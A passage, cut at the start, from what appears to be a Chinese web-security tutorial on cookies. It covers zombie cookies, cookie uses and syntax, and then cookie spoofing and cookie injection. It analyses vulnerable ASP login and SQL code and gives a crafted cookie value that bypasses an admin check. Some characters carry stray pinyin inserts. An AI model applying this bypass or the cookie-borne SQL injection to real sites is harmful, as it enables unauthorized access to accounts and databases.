āng)cookie被刪除時(shí),從其他存儲(chǔ)中恢復(fù)。evercookie是實(shí)現(xiàn)僵尸cookie的主要技術(shù)手段。cookie的作用1.session管理http協(xié)議本身是是無(wú)狀態(tài)的,但是現(xiàn)代站點(diǎn)很多都需要維持登錄態(tài),也就是維持會(huì)話。最基本的維持會(huì)話的方式是BaseAuth,但是這種方式,用戶名和密碼在每次請(qǐng)求中都會(huì)以明文的方式發(fā)送到客戶端,很容易受到中間人攻擊,存在很大的安全隱患。所以現(xiàn)在大多數(shù)站點(diǎn)采用基于cookie的session管理方式:用戶登陸成功后,設(shè)置一個(gè)唯一的cookie標(biāo)識(shí)本次會(huì)話,基于這個(gè)標(biāo)識(shí)進(jìn)行用戶授權(quán)。只要請(qǐng)求中帶有這個(gè)標(biāo)識(shí),都認(rèn)為是登錄態(tài)。2.個(gè)性化cookie可以被用于記錄一些信息,以便于在后續(xù)用戶瀏覽頁(yè)面時(shí)展示相關(guān)內(nèi)容。典型的例子是購(gòu)物站點(diǎn)的購(gòu)物車功能。以前Google退出的iGoogle產(chǎn)品也是一個(gè)典型的例子,用戶可以擁有自己的Google自定制主頁(yè),其中就使用了cookie。3.usertrackingcookie也可以用于追蹤用戶行為,例如是否訪問(wèn)過(guò)本站點(diǎn),有過(guò)哪些操作等COOKIE格式Cookie文件名稱格式: 你的用戶名@產(chǎn)生的COOKIE的網(wǎng)頁(yè)文件所在的WEB目錄[COOKIE改變的次數(shù)].txt

如:

ibm@baidu[1].txt設(shè)置cookie腳本

Set-Cookie:name=VALUE;

expires=DATE;

path=PATH;

domain=DOMAIN_NAME;1Cookie欺騙原理按照瀏覽器的約定,只有來(lái)自同一域名的cookie才可以讀寫(xiě),而cookie只是瀏覽器的,對(duì)通訊協(xié)議無(wú)影響,所以要進(jìn)行cookie欺騙可以有多種途徑:1、跳過(guò)瀏覽器,直接對(duì)通訊數(shù)據(jù)改寫(xiě)2、修改瀏覽器,讓瀏覽器從本地可以讀寫(xiě)任意域名cookie3、使用簽名腳本,讓瀏覽器從本地可以讀寫(xiě)任意域名cookie(有安全問(wèn)題)4、欺騙瀏覽器,讓瀏覽器獲得假的域名

思考這段代碼<%ifrequest.cookies("lunjilyb")("username")=""thenresponse.redirect"login.asp"endififrequest.cookies("lunjilyb")("password")=""thenresponse.redirect"login.asp"endififrequest.cookies("lunjilyb")("randomid")<>12thenresponse.redirect"login.asp"endif%>分析從上邊的程序段中,可以看出,程序首先獲取cookies中username的值,并判斷其KEY值是否為空,為空的就轉(zhuǎn)到"login.asp"頁(yè)面;再獲取cookies中password的值,并判斷其KEY值是否為空,為空的就轉(zhuǎn)到"login.asp"頁(yè)面;最后獲取cookies中randomid的值,并判斷其KEY值是否=12,若不等于12,就轉(zhuǎn)到"login.asp"頁(yè)面。攻擊思路于是構(gòu)造cookie信息為如下內(nèi)容:ASPSESSIONIDSQSRTSDC=DMJDAGLBOJNGBIGJPJAHIPOA;lunjilyb=randomid=12&password=helen&username=helen提交后即可繞過(guò)管理員驗(yàn)證。2Cookie注入再讀源碼:<%owen=request("id")%>‘獲取參數(shù)ID,但是沒(méi)限制來(lái)源(關(guān)鍵)Setrsnews=Server.CreateObject("ADODB.RecordSet")sql="updatenewssethits=hits+1whereid="&cstr(request("id"))conn.executesqlsql="select*fromnewswhereid="&owen‘將參數(shù)直接帶入查詢r(jià)snews.Opensql,conn,1,1title=rsnews("title")ifrsnews.eofandrsnews.bofthenresponse.Write("數(shù)據(jù)庫(kù)出錯(cuò)")elserequest獲取變量的方式:request.form獲取的是post數(shù)據(jù),request.querystring獲取的get數(shù)據(jù),request.cookies獲取的是cookie中的數(shù)據(jù)。<%owen=request("id")%>

呢?這個(gè)時(shí)候程序是按以下順序來(lái)搜索集合:querystring,form,cookie,servervariable。

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論